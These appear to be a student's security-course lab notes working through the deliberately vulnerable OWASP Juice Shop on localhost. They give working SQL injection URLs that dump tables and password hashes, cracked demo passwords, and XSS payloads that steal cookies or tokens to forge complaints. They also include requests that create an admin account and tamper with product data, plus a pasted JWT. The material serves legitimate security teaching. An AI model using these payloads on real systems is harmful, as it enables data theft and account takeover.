Workshop -1

1. Using the SQL injection, determine the entire database schema definition. For this exercise, the table names are sufficient.
2. <http://localhost:3000/rest/products/search?q=%27))%20UNION%20SELECT%20sql,2,3,4,5,6,7,8,9%20FROM%20sqlite_master-->

UNION SELECT sql,2,3,4,5,6,7,8,9 FROM sqlite\_master--

Tables: Addresses, BasketItems, Baskets, Captchas, Cards, Challenges, Complaints, Deliveries, Feedbacks, ImageCaptchas, Memories, PrivacyRequests, Products, Quantities, Recycles, SecurityAnswers, SecurityQuestions, Users, Wallets, sqlite\_sequence

1. Determine which products are no longer available for sale within the Juice Shop
2. Item id: 10( Christmas Super-Surprise-Box (2014 Edition),   
   11 (Rippertuer Special Juice)  
   12 (OWASP Juice Shop Sticker (2015/2016 design),   
   27 (Juice Shop Artwork),   
   28 (Global OWASP WASPY Award 2017 Nomination),   
   31 (OWASP Juice Shop Sweden Tour 2017 Sticker Sheet (Special Edition)),   
   39 (Juice Shop Adversary Trading Card (Common)),   
   40 (Juice Shop Adversary Trading Card (Super Rare)),   
   44 (20th Anniversary Celebration Ticket)

[[ ^^ find sold out ones, instead of deleted items]]

1. From the Addresses table, access the fullName, zipCode, and mobileNum fields.
2. <http://localhost:3000/rest/products/search?q=%27))%20UNION%20SELECT%20fullName,zipCode,mobileNum,4,5,6,7,8,9%20FROM%20Addresses-->

UNION SELECT fullName,zipCode,mobileNum,4,5,6,7,8,9 FROM Addresses—

Administrator, 4711, 1234567890

Bender, 10001, 797675345

Bjoern Kimminich, 25436, 4917000001

Jim, 1701, 523423432

Sam, GSK783, 1000000783

Tim Tester, 12345, 4917000000

1. Find one other plaintext password for a user
2. [http://localhost:3000/rest/products/search?q=xyz')) UNION SELECT email, password, '3', '4', '5', '6', '7', '8', '9' FROM users--](http://localhost:3000/rest/products/search?q=xyz'))%20UNION%20SELECT%20email,%20password,%20'3',%20'4',%20'5',%20'6',%20'7',%20'8',%20'9'%20FROM%20users--)

User name: jim@juice-sh.op

Password (Hashed): e541ca7ecf72b8d1286474fc613e5e45

Password(Plaintext): ncc-1701

Or

Username: demo

Password(Hashed): fe01ce2a7fbac8fafaed7c982a04e229

Password(plaintext): demo

These are the only 2 available ( why?) others say not found on the hash cracking website.

Workshop -2

1. Generate a XSS attack that creates a popup alert with the user’s cookie information
2. <iframe src="javascript:alert(document.cookie)">
3. Use XSS to redirect a user to the NCSU Computer Science homepage.
4. <img src="x"onerror=window.open("https://www.csc.ncsu.edu/","xss",'height=500,width=500');>
5. <img src="x"onerror=window.open("https://www.csc.ncsu.edu/","\_self");>

Workshop-3

1) User will receive a phishing email , asking them to click on a link to track shipment

2) When user clicks on the link , which will be - http://localhost:3000/#/trackresult?id=<iframe src="javascript: xmlhttp = new XMLHttpRequest();xmlhttp.onreadystatechange = function(){ id= JSON.parse(this.response).user.id; xhr = new XMLHttpRequest(); xhr.open('POST', ' http://localhost:3000/api/Complaints/'); xhr.setRequestHeader('Authorization',`Bearer ${localStorage.getItem('token')}`); xhr.setRequestHeader(`Content-type`, `application/json`); xhr.send(JSON.stringify({UserId: id, message:`UGotFooled`})); };xmlhttp.open('GET','http://localhost:3000/rest/user/whoami'); xmlhttp.setRequestHeader('Authorization',`Bearer=${localStorage.getItem('token')}`); xmlhttp.send();">

3. This will first send a request to the endpoint - http://localhost:3000/rest/user/whoami, to retrieve the user's id.

4. 4) Then a request will be sent to the complaint endpoint - http://localhost:3000/api/Complaints/, containing the user's id and bogus complaint message as its payload.

5) The message will be = "UGotFooled". Hence, a CSRF attack will be performed.

Workshop-4

Request Header Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9..ZOWU79exm6IpgviKfWftA0DOVq\_4zQEx7KkGgGMy32foy9BdsYNrc4qEYz3I47sW3\_9agV2QZxdNhwYvGVujGN5dt0pOF6c\_7mZeL5aj\_8smsIDRuZqOwCMdbiQH6k5QXKUaIr2ukZGUkRKA4M64-F\_O-D832rR2MiXKpMMig1k

1. fetch('http://localhost:3000/api/Users', {

method: 'POST',

body: JSON.stringify({

email: "admin123@gmail.com", password:"admin", role:"admin"

}),

headers: {

'Content-type': 'application/json; charset=UTF-8',

'Authorization': 'Bearer <YOUR TOKEN HERE>'

}

})

.then(res => res.json())

.then(console.log)

2. var input = document.querySelector('input[type="file"]')

var data = new FormData()

data.append('file', input.files[0])

fetch('/file-upload', {

method: 'POST',

body: data,

headers: {

'Authorization': 'Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9..ZOWU79exm6IpgviKfWftA0DOVq\_4zQEx7KkGgGMy32foy9BdsYNrc4qEYz3I47sW3\_9agV2QZxdNhwYvGVujGN5dt0pOF6c\_7mZeL5aj\_8smsIDRuZqOwCMdbiQH6k5QXKUaIr2ukZGUkRKA4M64-F\_O-D832rR2MiXKpMMig1k',

}

})

.then(console.log)

Workshop 5

1. fetch('http://localhost:3000//rest/products/1/reviews', {

method: 'PUT',

body: JSON.stringify({

"author":"im@juice-sh.op",

"message":"trying"

}),

headers: {

'Content-type': 'application/json; charset=UTF-8'

}

})

.then(console.log)

1. ws

<http://localhost:3000/rest/products/search?q=apple%20pomace>

fetch('http://localhost:3000/api/Products/24', {

method: 'PUT',

body: JSON.stringify({

"description": Finest pressings of apples. Allergy disclaimer: Might contain traces of worms. Can be <a href=\"https://www.csc.ncsu.edu/\" target=\"\_blank\"> sent back to us </a> for recycling."

}),

headers: {

'Content-type': 'application/json; charset=UTF-8'

}

})

.then(console.log)

Workshop -6

Q1. Find some action or submit a request (somewhere other than through the ftp access point) in the web application that causes an error message with a full stack trace.

1. http://localhost:3000/rest/soha

Q2. Find a document that contains confidential information (\*the document should include the text "Confidential" or "Do not redistribute").

1. http://localhost:3000/ftp/acquisitions.md

Q3. Find an endpoint that exposes sensitive information when an authentication header is not included as part of the request. Hints: Look back at prior workshops or consider monitoring metrics for the application.

1. <http://localhost:3000/metrics>

Workshop-7

Q1. Upload a screenshot that shows a summary of alert categories/results from the automated ZAP scan.

[DONE]

Q2. From the report output, select an alert type/category (other than SQL Injection) that you find interesting.

Q2.1: In 3-4 sentences, briefly describe why you think the alert is a false positive or an actual concern.

1. Cross-Domain Misconfiguration: actual concern

Q2.2: In 3-4 sentences, briefly describe how the software developers could mitigate the threat associated with the vulnerability indicated in the alert.

Q3. Use ZAP to find an endpoint other than login that is susceptible to SQL injection or cross-site scripting. NOTE: unlike the example with SQL Injection where a response of OK indicated an attack was most likely successful, you will have to manually try the cross-site scripting payloads that have a response of OK since the payload text may have been submitted successfully but not executed as a control instruction.

Q3.1: List the steps that need to be performed for to check whether the attack is successful or not. If you were not able to locate a vulnerable endpoint, then list 5 different endpoints that you manually checked based on the ZAP results

Complaint forged?

Q3.2: Upload images that:

(1) Show the alert payload in ZAP.

(2) Show a screenshot of the successful attack in the web application. If you were not able to locate a vulnerable endpoint, then provide one or more screenshot(s) to indicate what happened when you manually tried the payload in the webapp

Q.4: Try fuzzing fields that were previously identified as vulnerable to SQL injection (other than the login module) or cross-site scripting in previous labs. Did the provided payloads in ZAP identify the vulnerabilities? If so, give an example payload that was successful. It not, suggest a reason why the payloads may not have been successful.

Q.4.1: In 3-4 sentences, briefly describe (in your own words) the vulnerability.

Q4.2: In 3-4 sentences, briefly describe the potential impact to the web application if the vulnerability were exploited.

Q4.3: In 2-3 sentences, briefly describe how the security objectives are threatened by this vulnerability.

Q5: From the report output, select a different vulnerability (from the previous question) that you find interesting.

Q5.1: In 3-4 sentences, briefly describe (in your own words) the vulnerability.

Q5.2: In 3-4 sentences, briefly describe the potential impact to the web application if the vulnerability were exploited.

Q5.3: In 2-3 sentences, briefly describe how the security objectives are threatened by this vulnerability.